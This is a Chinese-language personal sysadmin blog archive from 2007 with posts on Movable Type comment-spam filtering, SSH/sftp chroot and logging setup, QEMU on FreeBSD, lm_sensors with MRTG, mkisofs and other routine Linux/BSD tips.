更改Movable Type程序所使用的评论程序的文件名,也就是将默认的与mt.cgi相同路径下的mt-comments.cgi更改为其它名字。例如:
CommentScript PingLun.cgi (评论.cgi ,你可以采用任何的名子)
在lib/mt/ConifgMgr.pm文件中查找

$mgr->define('CommentScript', Default => 'mt-comments.cgi');

将其中的mt-comments.cgi改为PingLun.cgi (越复杂越好)。
然后将mt-comments.cgi 更名为 PingLun.cgi
chmod 755 PingLun.cgi
后重新rebuid整个系统。

3] 熟练级 :mt-blacklist package
我曾经向Hedong推荐这个,因为功能非常强大,可以过滤Url,关键词,可以对以往的留言再进行过滤,也可以对Traceback进行 anti-spam

4] 专家级:Scode

这个采用了惯用的 图像文字识别码,你必需输入正确的数字才能够完成comment,这样的plugin已经完全屏蔽了垃圾留言。

5] 其它
Chedong在cnblog里提出用 robots.txt 来禁止爬虫爬 mt-comments.cgi ,当然,这样可以禁止一些,但是如果单页没有被禁止的话,仍然可以通过分析单页得到里面嵌入的form和action的动作,从而得到 comment.cgi 的资源位置。不过,这种方法的确可以有效的防止spam网址获得较高的pagerank。

下面是 更多内容关于利用.htaccess 和 httpd.conf 来精确/匹配/限止/留言和Refer的方法
这个我本来发在 www.wespoke.com里,觉得也许对这里有帮助,狗尾续貂一下。

In httpd.conf

####################################
1]
SetEnvIfNoCase Referer ".*(casino|gambling|poker|porn|sex|hqsearch|webcamss|rape).*" BadReferrer

order allow,deny
allow from all
deny from env=BadReferrer

####################################


2] Using .htaccess to ban Refer and also Ban IP

####################################
SetEnvIfNoCase Referer ".*(casino|gambling|poker|porn|sex|hqsearch|webcamss|rape).*" BadReferrer
order deny,allow
deny from env=BadReferrer
deny from 63.81.44.2
deny from 69.50.191.130
####################################

3] 在refer 的 refer.php 里面定义黑名单:
$rcfg['exclude'][] = 'viagra';
$rcfg['exclude'][] = 'acetools';
$rcfg['exclude'][] = 'atsync';
$rcfg['exclude'][] = 'lmhsoft';
$rcfg['exclude'][] = 'direct-email-marketing-software';
$rcfg['exclude'][] = '1-bulk-email-software';
$rcfg['exclude'][] = 'mailsoft';
$rcfg['exclude'][] = 'viagra';
$rcfg['exclude'][] = 'acetools';
$rcfg['exclude'][] = 'atsync';
$rcfg['exclude'][] = 'lmhsoft';
$rcfg['exclude'][] = 'direct-email-marketing-software';
$rcfg['exclude'][] = '1-bulk-email-software';
$rcfg['exclude'][] = 'mailsoft';
$rcfg['exclude'][] = '4444';
$rcfg['exclude'][] = 'shareware-catalog';
$rcfg['exclude'][] = 'the-proxy';
$rcfg['exclude'][] = 'blogspot';
$rcfg['exclude'][] = 'xxx-database';
$rcfg['exclude'][] = 'ghettoinc';
$rcfg['exclude'][] = 'sexingitup';
$rcfg['exclude'][] = 'sex';
$rcfg['exclude'][] = 'superbowl';
$rcfg['exclude'][] = 'gabriola-island';
$rcfg['exclude'][] = 'janet-jackson';
$rcfg['exclude'][] = 'all-free-xxx';
$rcfg['exclude'][] = 'janet-jackson-picture';
$rcfg['exclude'][] = 'blogdrive';
$rcfg['exclude'][] = 'xxxwashington';
$rcfg['exclude'][] = 'sautiyakenya';
$rcfg['exclude'][] = 'excort-woman';
$rcfg['exclude'][] = 'wheelcomponents';
$rcfg['exclude'][] = '1stpromotion';
$rcfg['exclude'][] = 'clickbank-search';

Posted by vitter at 2007-09-10 11:59:59 | 评论 (1) | 引用

July 25, 2007

博客之爽!微软发布超好软件:Windows Live Writer

微软2007年7月25日发布超好的软件:Windows Live Writer Beta!

Windows Live Writer 是一个免费的桌面应用程序,您可以使用它在网络日志(博客)中轻松发布丰富内容。

与您的网络日志服务兼容
Windows Live Writer 可以发布到 Windows Live Spaces、Sharepoint、WordPress、Blogger、LiveJournal、TypePad、Moveable Type、Community Server 以及其他众多网络日志(博客)服务。

WYSIWYG 编辑
Windows Live Writer 知道您网络日志(博客)的视觉主题。所以,您可以在发布之前,在写帖子的过程中真切地看到帖子将来的模样。再也不必浪费时间来联机预览帖子了。

丰富的媒体发布
Windows Live Writer 可使发布丰富媒体如同发送电子邮件一样轻松。插入并自定义照片、地图、标注或其他诸多酷炫的内容, 然后单击“发布”按钮即可 — 就这么简单。

强大的编辑功能
只需指尖一点,便能插入和编辑表,边键入边检查拼写以及设置内容格式和超链接内容,创建引人注目的网络日志帖子变得如此轻巧。

脱机编辑
现在您可以随时随地撰写网络日志(博客)。Windows Live Writer 可使网络日志(博客)上的草稿与您在脱机时所做的改动同步,所以您不必担心不同版本之间是否一致。

提供微软官方下载:下载 Windows Live Writer 简体中文版 5.45M

特别截图如下:

以后可以放弃Zempt了,这个比那个好用多了,赞一个。

本篇blog就是要用Windows Live Writer发布的,像大家推荐下,呵呵。

Posted by vitter at 2007-07-25 13:14:48 | 评论 (0) | 引用

July 21, 2007

在MySQL里运行以下SQL语句可以批量替换页内链接

SQL语句的格式如下:

UPDATE `表名` SET `需要修改的字段名` = replace (`需要修改的字段名`,'被替换的内容','替换的内容') WHERE `需要修改的字段名` LIKE '%被替换的内容%'

比如我要将www.sotenet.com替换成www.vfocus.net,需要运行的SQL语句是:

UPDATE test SET hostname = replace (hostname,'www.sotenet.com','www.vfocus.net') WHERE hostname LIKE '%www.sotenet.com%';

Posted by vitter at 2007-07-21 15:04:38 | 评论 (0) | 引用

July 17, 2007

SSH2密钥认证的实现

1、安装
[root@securitycn src]# tar zxvf ssh-3.2.9.1.tar.gz
[root@securitycn src]# cd ssh-3.2.9.1
[root@securitycn ssh-3.2.9.1]# ./configure --prefix=/usr/local/sshd2
[root@securitycn ssh-3.2.9.1]# make
[root@securitycn ssh-3.2.9.1]# make install

2、配置
在配置文件加上
AuthorizationFile authorization

3、使用scrt的publickey方式登录
1)、创建一用户,带有home目录
[root@securitycn ssh-3.2.9.1]# useradd vitter

2)、创建密钥
[root@securitycn ssh-3.2.9.1]# su vitter
$ cd ~
$ /usr/local/sshd2/bin/ssh-keygen -b 1024 ;为用户生成1024bit的KEY
会提示你输入密码,执行完后生成.ssh2子目录,下面有两个文件:
id_dsa_1024_a ;为私钥
id_dsa_1024_a.pub ;为公钥
3)、在scrt下生成密钥
在用scrt建 立session时,Authentication中的primary选择publickey,然后点击属性:
use identify file-->Create Identify File,会提示你生成密钥对。在生成的过程中鼠标要不停地移动。还会提示你输入密码,这个密码一定要记住!
4)、交换公开密钥
将scrt生成的公开密钥:
Identify.pub(默认在C:\Documents and Settings\Administrator\Application Data\VanDyke目录,也可以生成的时候手动指定目录)上传到服务器的/home/vitter/.ssh2下面
5)、在/home/vitter/.ssh2目录下建立Authorization文件和Identification文件
$ cat >Authorization
Key Identity.pub

$ cat >Identification
IdKey Identity

注:这两个文件中的公钥和私钥文件名指的是scrt中产生的文件
6)、用scrt进行连接
采用publickey的方式认证,在提示输入密码时,输入在用scrt生成密钥时的口令

Posted by vitter at 2007-07-17 10:08:41 | 评论 (0) | 引用

July 13, 2007

Xine播放real格式的文件没声音解决办法

播放rm,rmvb没声音,据说是xine设置的问题。
编辑~/.xine/catalog.cache,找到
[/usr/local/lib/xine/plugins/1.1.4/xineplug_decode_real_audio.so]
将decoder_priority的值设为10。

Posted by vitter at 2007-07-13 16:39:25 | 评论 (0) | 引用

为FreeBSD中的Firefox安装Flash插件

要在FreeBSD中为Firefox安装Flash插件需要以下步骤:

a) install www/linuxpluginwrapper

b) install www/linux-flashplugin7

c) cp /usr/local/share/examples/linuxpluginwrapper/libmap.conf-FreeBSD6 /etc/libmap.conf

d) ln -s /usr/local/lib/npapi/linux-flashplugin/* /usr/local/lib/firefox/plugins/

Posted by vitter at 2007-07-13 11:51:11 | 评论 (2) | 引用

July 06, 2007

用mkisofs制作iso文件

mkisofs(make iso file system)


  功能说明:建立ISO 9660映像文件。

   语  法:mkisofs [-adDfhJlLNrRTvz][-print-size][-quiet][-A <应用程序ID>][-abstract <摘要文件>][-b <开机映像文件>][-biblio ][-c <开机文件名称>][-C <盘区编号,磁区编号>][-copyright <版权信息文件>][-hide <目录或文件名>][-hide-joliet <文件或目录名>][-log-file <记录文件>][-m <目录或文件名>][-M <开机映像文件>][-o <映像文件>][-p <数据处理人>][-P <光盘发行人>][-sysid <系统ID >][-V <光盘ID >][-volset <卷册集ID>][-volset-size <光盘总数>][-volset-seqno <卷册序号>][-x <目录>][目录或文件]

  补充说明:mkisofs可将指定的目录与文件做成ISO 9660格式的映像文件,以供刻录光盘。

  参  数:
  -a或--all mkisofs通常不处理备份文件。使用此参数可以把备份文件加到映像文件中。
  -A<应用程序ID>或-appid<应用程序ID> 指定光盘的应用程序ID。
  -abstract<摘要文件> 指定摘要文件的文件名。
  -b<开机映像文件>或-eltorito-boot<开机映像文件> 指定在制作可开机光盘时所需的开机映像文件。
  -biblio 指定ISBN文件的文件名,ISBN文件位于光盘根目录下,记录光盘的ISBN。
  -c<开机文件名称> 制作可开机光盘时,mkisofs会将开机映像文件中的全-eltorito-catalog<开机文件名称>全部内容作成一个文件。
  -C<盘区编号,盘区编号> 将许多节区合成一个映像文件时,必须使用此参数。
  -copyright<版权信息文件> 指定版权信息文件的文件名。
  -d或-omit-period 省略文件后的句号。
  -D或-disable-deep-relocation ISO 9660最多只能处理8层的目录,超过8层的部分,RRIP会自动将它们设置成ISO 9660兼容的格式。使用-D参数可关闭此功能。
  -f或-follow-links 忽略符号连接。
  -h 显示帮助。
  -hide<目录或文件名> 使指定的目录或文件在ISO 9660或Rock RidgeExtensions的系统中隐藏。
  -hide-joliet<目录或文件名> 使指定的目录或文件在Joliet系统中隐藏。
  -J或-joliet 使用Joliet格式的目录与文件名称。
  -l或-full-iso9660-filenames 使用ISO 9660 32字符长度的文件名。
  -L或-allow-leading-dots 允许文件名的第一个字符为句号。
  -log-file<记录文件> 在执行过程中若有错误信息,预设会显示在屏幕上。
  -m<目录或文件名>或-exclude<目录或文件名> 指定的目录或文件名将不会房入映像文件中。
  -M<映像文件>或-prev-session<映像文件> 与指定的映像文件合并。
  -N或-omit-version-number 省略ISO 9660文件中的版本信息。
  -o<映像文件>或-output<映像文件> 指定映像文件的名称。
  -p<数据处理人>或-preparer<数据处理人> 记录光盘的数据处理人。
  -print-size 显示预估的文件系统大小。
  -quiet 执行时不显示任何信息。
  -r或-rational-rock 使用Rock Ridge Extensions,并开放全部文件的读取权限。
  -R或-rock 使用Rock Ridge Extensions。
  -sysid<系统ID> 指定光盘的系统ID。
  -T或-translation-table 建立文件名的转换表,适用于不支持Rock Ridge Extensions的系统上。
  -v或-verbose 执行时显示详细的信息。
  -V<光盘ID

从网上复制来的,太多了有点烦哈,呵呵,其实就一句顶用 mkisofs -o ABC.iso /media/cdrom
其中/media/cdrom就是我的挂载上去的光盘文件,当然也可以是文件系统里的一个文件或一个目录,如sources目录,而ABC.iso就是我想制作的iso光盘文件,文件名可以自己取!

Posted by vitter at 2007-07-06 20:34:19 | 评论 (0) | 引用

FreeBSD如何mount一个iso文件

# mdconfig -a -t vnode -f abc.iso -u 1

# mount_cd9660 /dev/md1 /cdrom

如果想直接用-o loop , 但内核不支持的话,要在 kernel config 加入

pseudo-device vn #Vnode driver (turns a file into a device)

然后重新编译内核,就可以用:

# mount -o loop xxx.iso /mnt

Posted by vitter at 2007-07-06 19:16:29 | 评论 (0) | 引用

FreeBSD下安装配置虚拟机qemu

大家在windows 下都用什么虚拟机?可能大多数都是用VMware 吧,那在BSD下呢?在我还用4.10的时候我也是用VM ware,但是VMware是要授权文件的,不过这个文件是可以下载到的。但是现在,在BSD下,有了更好的选择,那就是qemu,一个开源的虚拟机,小巧而快速,好了不多说,我现在 是在BSD下打算虚拟出一个win来,并且让win能上网

1 首先,用ports安装

#cd /usr/ports/emulators/qemu

#make WITH_KQEMU=yes install clean

#这里有个选项,with_kqemu,当初我就是没装个,导致出错,用了这个选项后 会在BSD启动时加入 kqemu.ko

然后就是几分钟的时间,很快的就可以装好qemu了(呵呵,比VM 时间短)


2 接下来就是使用qemu了

首先建议您重启BSD,当然,不重启也可以,用下面的步骤就可以了:

#rehash
#kldload kqemu.ko

3 要用虚拟机,当然先要为虚拟机准备一块磁盘,这里推荐使用img格式的文件做为虚拟磁盘,当然,qemu兼容vm的文件,有兴趣你也可以试试。个人感觉似乎img的磁盘文件会更快点。往下看

#mkdir /tmp/qemu #找个地方安装你的虚拟机,要注意下自己的空间哦,不要像我,直接放在了 /下,造成空间不足。强烈建议你先 df -h下

#cd /tmp/qemu

#qemu-img create windows.img 2G #这个就是创建虚拟机磁盘,后面的2G意思是创建一个2G的磁盘


4 接下就是要安装虚拟机了,我有两手准备,一是光驱,二是ISO文件。下面就开始安装

#qemu -hda windows.img -cdrom /dev/acd0 -boot d -m 512 -enable-audio -localtime

解释下上面的语法:

-hda 是指定硬盘,在本文里我们使用的是刚才创建的/tmp/qemu/windows.img
-cdrom 指定使用光驱,这个参数后面必须要跟个文件名,在上面的例子里我用的是我的物理光驱/dev/acd0 如果你要使用ISO文件,那就写上文件的路径,比如我第二安装时用的就是/mtn/e/xp.iso
-m 是指定虚拟机使用的内存大小,后面的数字即是你要指定的内存数,我的是512M
-boot 当然就是指定虚拟机启动用的设备,-boot后可以选择的参数是 a ,c ,d .其中a 是指从软盘启动,c 就是用硬盘启动,d 当然就是光驱启动了。
-enable-audio 这个意思我就不说了。
-localtime 就是说要使用你的实际主板bios上的时间。

好了,按以上的步骤做了以后,就可以顺利的进入虚拟机了,并开始安装了。

上一步可能会出错:
Xlib: connection to ":0.0" refused by server

*注意:如果你在安装QEMU没有选择 WITH_KQEMU,那么你将不能使用ISO文件来安装,这一点要注意。可在/boot/loader.conf中加入 kqemu_load="YES"。要想自己是否安装了kqemu.ko就自己看下:

#kldstat

也可能是出错:
Bad system call (core dumped)

*注意:这是因为FreeBSD上最新的版本需要kldload aio才可以,可在/boot/loader.conf中加入 aio_load="YES"

下面是引用Linux下的Qemu的使用,由天Qemu是跨平台的,所以应该通用,当然,我只是为可能出现的问题提供一个解决参考:

安装过程中,要求换盘:

在qemu中按ctrl+alt+2切换到qemu monitor模式 输入?或help可以查看可用命令及使用说明。

(在其他版本的qemu中,运行qemu加载OS后,这个shell就会自动变成qemu monitor模式)

change device filename -- change a removable media

看来它就是用来换盘的了 : change cdrom /rhel4/EL_disc2.iso

5 虚拟机装好以后就可以用了,这里要给大家说几个常用的快捷键:

ctrl+alt+F 全屏切换
ctrl+alt 鼠标在虚拟机和主机间切换

6 虚拟XP上网的问题:

其实用上面的方法安装完后,你的XP已经能上网了,当然你要用DHCP方式。你也可以在启动时加上 -user-net 这个参数。我觉得qemu可能是默认就带了这个参数了,因为我没用任何参数就可以上网。

不过要说的是,采用这种默认的参数你只能 ping 你的BSD主机,不能ping 外网的,而且你得到的IP是10.0.2.X,Gateway 也一定是10.0.2.2,所以你不要奇怪。这种上网方式主机跟虚拟机的通讯不方便,至少我的samba就不行,也没有解决掉。

qemu也提供了第二种上网方案:tun方式,这个方式其实就是在你的BSD下虚拟一张网卡tun0,这样你的BSD就是双网卡上网,这种方式最大好处就是虚拟机跟主机还有外网通讯比较方便。不过首先你的内核要支持tun设备才行。我的是5.4 release-p6针对5.0以前的应该先这样做:

#cd /dev
# sh MAKEDEV tun0

如果你跟我一样,是5。X那就先:

#mknod tun0 c 20 0
#ls /dev

接下来:

#ifconfig tun0 XXX.XXX.XXX.XXX #设定tun0的IP,一般用192.168开头的,也有人喜欢10开头的,随便啦,我的是192.168.0.1

然后进入虚拟机XP里,设定你的IP为:192.168.0.XXX,网关为 192.168.0.1(*也就是tun0)dns 就是BSD主机的dns。

这样设定之后,虚拟机还不能上网,但已经能用samba 了。[color=darkred]要想用虚拟机上网,这就要用到nat 了,设置方法完全跟NAT是一样的,我就不多说了,下面的东西就只有请你参考FreeBSD 的NAT来完成了。

Posted by vitter at 2007-07-06 17:19:42 | 评论 (2) | 引用

June 25, 2007

用MRTG监测Linux系统CPU温度

在Linux下有个叫lm_sensors的软件可以帮助我们来监控主板,CPU的工作电压,风扇转速、温度等数据。这些数据我们通常在主板的 BIOS也可以看到。当我们可以在机器运行的时候通过lm_sensors随时来监测着CPU的温度变化,可以预防呵保护因为CPU过热而会烧掉。
1. 安装lm_sensors
现在基本上每个Linux都已经有lm_sensors包了,我们主要安装了就可以了。或者我们也可以通过源文件来自己编译。
1)在FC,RH, CENTOS下,用rpm:
[root@securitycn ~]# rpm -ivh lm_sensors-2.10.0-3.1.i386.rpm
3)编译源文件安装
我们可以通过:这里下载源文件
这里我们要注意的问题是要先安装libsysfs库,是Sysfsutils,Sysfsutils-devel软件

tar xzvf lm-sensors-xxx.tar.gz
make user
make user_install testing

下面我们就用一些简单的命令来利用lm_sensors来得到CPU的数据。我们要用root的身份来:

sensors-detect,然后它会自动搜索主板上的chipset和相应的driver,我们全部答YES就可以了

[root@securitycn ~]# sensors-detect

# sensors-detect revision 1.413 (2006/01/19 20:28:00)

This program will help you determine which I2C/SMBus modules you need to
load to use lm_sensors most effectively. You need to have i2c and
lm_sensors installed before running this program.
Also, you need to be `root', or at least have access to the /dev/i2c-*
files, for most things.
If you have patched your kernel and have some drivers built in, you can
safely answer NO if asked to load some modules. In this case, things may
seem a bit confusing, but they will still work.

It is generally safe and recommended to accept the default answers to all
questions, unless you know what you're doing.

We can start with probing for (PCI) I2C or SMBus adapters.
You do not need any special privileges for this.
Do you want to probe now? (YES/no):

全部默认YES即可。

然后我们启动lm_sensors :

/etc/init.d/lm_sensors start
Starting lm_sensors: [ OK ]

我们可以通过lsmod来确定我们需要的driver已经加载了没有

lsmod | grep i2c
i2c_isa 9153 2 w83627hf,w83781d
i2c_i801 11341 0
i2c_dev 12613 0
i2c_ec 9025 1 sbs
i2c_core 23745 6 w83627hf,w83781d,i2c_isa,i2c_i801,i2c_dev,i2c_ec

然后我们用sensors的命令就可以了:

[root@securitycn ~]# sensors

w83627hf-isa-0290
Adapter: ISA adapter
VCore 1: +3.33 V (min = +0.00 V, max = +0.00 V) ALARM
VCore 2: +3.36 V (min = +0.00 V, max = +0.00 V) ALARM
+3.3V: +0.93 V (min = +3.14 V, max = +3.46 V) ALARM
+5V: +5.11 V (min = +4.73 V, max = +5.24 V)
+12V: +4.56 V (min = +10.82 V, max = +13.19 V) ALARM
-12V: -7.10 V (min = -13.18 V, max = -10.88 V) ALARM
-5V: -1.93 V (min = -5.25 V, max = -4.75 V) ALARM
V5SB: +5.51 V (min = +4.73 V, max = +5.24 V) ALARM
VBat: +0.02 V (min = +2.40 V, max = +3.60 V) ALARM
fan1: 0 RPM (min = 2732 RPM, div = 2) ALARM
fan2: 0 RPM (min = 0 RPM, div = 2)
fan3: 0 RPM (min = 0 RPM, div = 2)
temp1: +38癈 (high = +50癈, hyst = +45癈) sensor = thermistor
temp2: +33.5癈 (high = +80癈, hyst = +75癈) sensor = thermistor
temp3: +33.5癈 (high = +80癈, hyst = +75癈) sensor = thermistor
vid: +0.000 V (VRM Version 10.0)
alarms:
beep_enable:
Sound alarm enabled

这里我们可以看到温度还没有相对应CPU,我们主要稍微修改一下/etc/sensors.conf就可以了,不过其实都不用我们自己去动手,一般我们都可以从主板生产商那里下载到配置文件。通过lmsensors我们就可以得到主板温度,CPU电压,风扇转速这些信息。我们可以根据这些数据来监察系统的运行情况来预防系统的问题。

接下来让它和MRTG整合在一起吧
[root@securitycn ~]# cd /usr/local/mrtg/bin
[root@securitycn ~]# vi temp.sh
#内容如下
#!/bin/bash
cputemp=`/usr/bin/sensors | grep temp1 |awk '{print $2}'|cut -c 2-4` #这句是说找出有temp1那一行,印出第二个列的2-4个字
systemp =`/usr/bin/sensors | grep temp2 |awk '{print $2}'|cut -c 2-5` 不用解释了吧
echo $cputemp
echo $systemp
# the uptime
uptime | sed 's:^.* up \(.*\), [0-9][0-9]* users.*$:\1:'
# my name
uname -n
 
[root@securitycn ~]# chmod +x temp.sh 改成可执行
[root@securitycn ~]# ./temp.sh 试试看有没有问题
39
33.5
15:36:19 up 22:28, 1 user, load average: 0.04, 0.09, 0.04
securitycn

再来写下面的文件
[root@securitycn ~]# cd ../etc/
[root@securitycn ~]# vi temp.cfg

WorkDir: /data1/usr/apache/htdocs/mrtg/temp/
Target[index]: `/usr/local/mrtg/bin/temp.sh`
MaxBytes[index]:80
Options[index]: gauge, nopercent, growright
YLegend[index]: Temp (度)
ShortLegend[index]: 度
LegendO[index]: 系统温度;
LegendI[index]: CPU温度;
Title[index]: 系统温度表
PageTop[index]: <H1>主机温度表</H1>

[root@securitycn ~]# /usr/local/mrtg/bin/mrtg /usr/local/mrtg/etc/temp.cfg
执行3次就不报错了
然后加入到crontab里面
*/5 * * * * /usr/local/mrtg/bin/mrtg /usr/local/mrtg/etc/temp.cfg

PageTop[index]: <H1>主机温度表

Posted by vitter at 2007-06-25 15:40:52 | 评论 (0) | 引用

June 13, 2007

Cannot load /usr/local/apache/libexec/libphp4.so into server: /usr/local/apache/libexec/libphp4.so: cannot restore segment prot after reloc: Permission denied

今天编译了下php+apache居然报错(环境是redhat企业版5server):
[root@securitycn conf]# /usr/local/apache/bin/apachectl configtest
Syntax error on line 205 of /usr/local/apache/conf/httpd.conf:
Cannot load /usr/local/apache/libexec/libphp4.so into server: /usr/local/apache/libexec/libphp4.so: cannot restore segment prot after reloc: Permission denied
原来是SELinux搞的,经常遇到类似的情况,一直忽略了他,之前snmp的时候就是因为他只好禁止了,现在又遇到,越安全的越受到限制啊,解决办法
1. chcon -t texrel_shlib_t /usr/local/apache/libexec/*.so
2.禁止SELinux:更改/etc/sysconfig/selinux 文件的内容为 SELINUX=permissive或者disabled

Posted by vitter at 2007-06-13 21:49:42 | 评论 (0) | 引用

June 08, 2007

如何制作绿色版的Firefox 2.0

之前版本的Firefox,可以用“-profile”参数来轻松搞定“绿色化”Firefox 2.0,不过这个技巧在Firefox 2.0中行不通了。要想制作绿色版的Firefox 2.0:

第一步:在Firefox安装目录下自建一个文件夹“profile”,把C:\Documents and Settings\xxx\Application Data\Mozilla\Firefox\Profiles\default的内容复制进去,然后打开C:\Documents and Settings\xxx\Application Data\Mozilla\Firefox\profiles.ini,作出修改如下:

[General]

StartWithLastProfile=1

[Profile0]

Name=默认用户

IsRelative=0

Path=X:\Program Files\Mozilla Firefox\profile

第二步:以后如果需要重装系统,只需要将profiles.ini和profile备份,拷贝回原处即可。

Posted by vitter at 2007-06-08 13:42:00 | 评论 (0) | 引用

June 06, 2007

Linux下增量备份远程ftp站点内容

可以考虑直接使用mirror等ftp镜像软件,在Debian的包管理器中搜索ftp mirror,就能找到不少。我选择使用了lftp,一来lftp自带镜像功能、支持增量下载,二来lftp十分健壮,对大多数错误可以自动续传和重试。

可以用以下语句调用lftp镜像或更新ftp镜像:(:source lang=shell:) lftp -c 'open -e "mirror . /home/elias/Web/elias.cn_bak/" -u USERNAME,PASSWORD www.elias.cn'

其中“mirror”后面的英文句号意思是镜像整个ftp站点,也可以写成ftp站点上的远端路径,比如写/incomings/src;“/home/elias/Web/elias.cn_bak/”则是指定的本地存储路径;USERNAME是远端 ftp用户名、PASSWORD是远端ftp密码;“www.elias.cn”则是远端ftp站点的访问地址。

Posted by vitter at 2007-06-06 16:36:38 | 评论 (0) | 引用

May 09, 2007

ssh-3.2记录sftp日志,并且chroot锁定用户目录解决方案

本站原创转载注明出处
by:vitter(vitter_at_safechina.net)
My blog: http://blog.securitycn.net
www.securitycn.net,www.vfocus.net,www.safechina.net

1、准备工作

下载ssh,http://www.ssh.com/ 下载针对Linux的非商业版本,当前最新版本为3.2.9.1,具体地址为:
SSH服务器地址 http://www.ssh.com/support/downloads/secureshellserver/non-commercial.html
http://ftp.ssh.com/pub/ssh/
[root@vitter_test src]# wget http://ftp.ssh.com/pub/ssh/ssh-3.2.9.1.tar.gz

2、安装ssh

[root@vitter_test src]# tar zxvf ssh-3.2.9.1.tar.gz
[root@vitter_test src]# cd ssh-3.2.9.1
[root@vitter_test ssh-3.2.9.1]# ./configure --prefix=/usr/local/sshd --without-x(因为我没x所以去掉)
[root@vitter_test ssh-3.2.9.1]# make
[root@vitter_test ssh-3.2.9.1]# make install

3、设置ssh记录sftp日志

修改sshd的配置文件,默认/etc/ssh2/sshd2_config,也可以启动的时候手动指定:/usr/local/sshd/sbin/sshd2 -f /etc/ssh2/sshd2_config_my。
去掉这行注释,用于记录sftp的log:

SftpSysLogFacility LOCAL7

当然
subsystem-sftp sftp-server
这行也要去掉注释,否则不启用sftp
其他的配置我们不详细介绍了,网上介绍的很多,google即可

然后修改syslog的配置文件

[root@vitter_test etc]# vi /etc/syslog.conf
加上一行:
local7.notice /var/log/sftp.log

则sftp的log会记录到/var/log/sftp.log中。

重启syslog服务

[root@vitter_test etc]# service syslog restart

启动ssh

[root@vitter_test etc]# /usr/local/sshd/sbin/sshd2 -f /etc/ssh2/sshd2_config

这时,登录sftp看看,是不是已经在/var/log/sftp.log中记录了sftp操作的详细日志了。

4、设置sftp用户chroot目录(锁定在固定目录下)

这一部是比较麻烦的,我也是经过了好些天,在openssh+patch+第三方软件和ssh之间测试了好些天才找到很好的解决方法,之前主要集中了openssh上,结果问题多多,最后才感觉用ssh简单点。

ssh配置文件支持chroot,但是记录log遇到问题,下面是解决方法。

4.1、[root@vitter_test etc]# vi /etc/ssh2/sshd2_config

找到下面几行:
## Chrooted environment

# ChRootUsers anonymous,ftp,guest
# ChRootGroups sftp,guest

ChRootUsers和ChRootGroups控制哪些用户和组将要chroot目录。

我的设置是

ChRootGroups nobody

针对组,之后在添加新用户的时候方便。

4.2、添加sftp用户:
[root@vitter_test etc]# useradd -d /ok -g nobody -s /usr/local/ssh/bin/ssh-dummy-shell ok

4.3、用下面脚本生成chroot用户目录下需要的文件

[root@vitter_test etc]# cat /root/chroot_ssh_dir.sh

#/bin/bash

if [ $# -ne 1 ]; then
echo "Usage: $0 username" 1>&2
exit 1
fi

user=$1

SSH_PATH="/usr/local/sshd"
#注释:后面的路径是你安装的ssh的目录
CHROOT_PATH=`grep -E $user: /etc/passwd|awk -F':' '{print $6}'`


mkdir -p $CHROOT_PATH/$SSH_PATH/bin/
mkdir -p $CHROOT_PATH/dev

ln $SSH_PATH/bin/sftp-server $CHROOT_PATH/$SSH_PATH/bin/sftp-server
ln $SSH_PATH/bin/sftp-server2 $CHROOT_PATH/$SSH_PATH/bin/sftp-server2
ln $SSH_PATH/bin/ssh-dummy-shell $CHROOT_PATH/$SSH_PATH/bin/ssh-dummy-shell
for a in $(ldd $SSH_PATH/bin/sftp-server | awk '{print $3}')
do
[ -e $CHROOT_PATH`dirname $a` ] || mkdir -p $CHROOT_PATH`dirname $a`
cp -f $a $CHROOT_PATH$a;
done

for a in $(ldd $SSH_PATH/bin/sftp-server2 | awk '{print $3}')
do
[ -e $CHROOT_PATH`dirname $a` ] || mkdir -p $CHROOT_PATH`dirname $a`
cp -f $a $CHROOT_PATH$a;
done

for a in $(ldd $SSH_PATH/bin/ssh-dummy-shell | awk '{print $3}')
do
[ -e $CHROOT_PATH`dirname $a` ] || mkdir -p $CHROOT_PATH`dirname $a`
cp -f $a $CHROOT_PATH$a;
done


[root@vitter_test etc]# /root/chroot_ssh_dir.sh ok
这样就把ok用户所需的文件生成到了ok的用户目录下。

4.4、修改syslog服务启动脚本:

[root@vitter_test etc]# vi /etc/init.d/syslog


daemon klogd $KLOGD_OPTIONS
echo
[ $RETVAL -eq 0 ] && touch /var/lock/subsys/syslog

return $RETVAL.
之间加上sftp:
daemon klogd $KLOGD_OPTIONS
echo
[ $RETVAL -eq 0 ] && touch /var/lock/subsys/syslog
sftp
return $RETVAL
然后在
restart() {
stop
start
}

后面加上:

sftp() {
for dir in `grep -E ':99:' /etc/passwd|grep -v '^nobody'|awk -F':' '{print $6}'`
#注释:99是nobody的gid号,这样以后添加新的nobody组用户后,只需要重启下syslog服务即可。
do
ls $dir/dev/log > /dev/null 2>&1
if [ $? -eq 0 ];then
rm -f $dir/dev/log
fi
ln /dev/log $dir/dev/log
done
}

4.5、重启syslog服务

[root@vitter_test etc]# service syslog restart

然后看下用户chroot目录下的dev下是不是新生成了个log文件,这个是记录日志的关键

至此一切ok。

5、如果以后添加新用户的话,只需要重复4.2、4.3、 4.5、即可。

注:
在nfs系统中我遇到了/dev/log 因为是nfs系统,而用户chroot目录是xfs系统文件,出现了ln硬链接失败(因为跨文件系统了)问题,只好再改下/etc/sysconfig/syslog里面的
SYSLOGD_OPTIONS="-m 0 -r"
为:SYSLOGD_OPTIONS="-m 0 -r -p /data/log"
然后syslog启动脚本改成
ln /data/log $dir/dev/log
另外就是这样改了之后可能会导致部分服务记录日志有问题,比如crond和sendmail,所以不建议修改。

Posted by vitter at 2007-05-09 18:25:17 | 评论 (6) | 引用

April 30, 2007

openssh记录sftp详细日志,并chroot用户目录

本站原创转载注明出处
by:vitter(vitter_at_safechina.net)
My blog: http://blog.securitycn.net
www.securitycn.net,www.vfocus.net,www.safechina.net

1 安装准备
下载openssh和sftp logging patch for openssh
http://www.openssh.org/
http://sftplogging.sourceforge.net/
以openssh-4.4p1为例

1.1 解压openssh
tar zxvf openssh-4.4p1.tar.gz

1.2 log补丁
patch -p0 < openssh-4.4p1.sftplogging-v1.5.patch

1.3 编译
cd openssh-4.4p1
./configure --prefix=/usr --sysconfdir=/etc/ssh --with-pam
注:--with-pam是支持pam,--prefix=/usr --sysconfdir=/etc/ssh是与原来的sshd保持一致
make

1.4 如果1.3通过,停止sshd服务
service sshd stop

1.5 卸载 openssh-server和openssh
rpm -qa|grep openssh
openssh-clients-3.6.1p2-34
openssh-server-3.6.1p2-34
openssh-3.6.1p2-34

rpm -e --nodeps openssh-server-3.6.1p2-34
rpm -e --nodeps openssh-3.6.1p2-34
只卸载openssh-server和openssh,因为我们只关心这两个服务

1.6 安装刚刚编译的openssh
make install

1.7 重建 /etc/rc.d/init.d/sshd
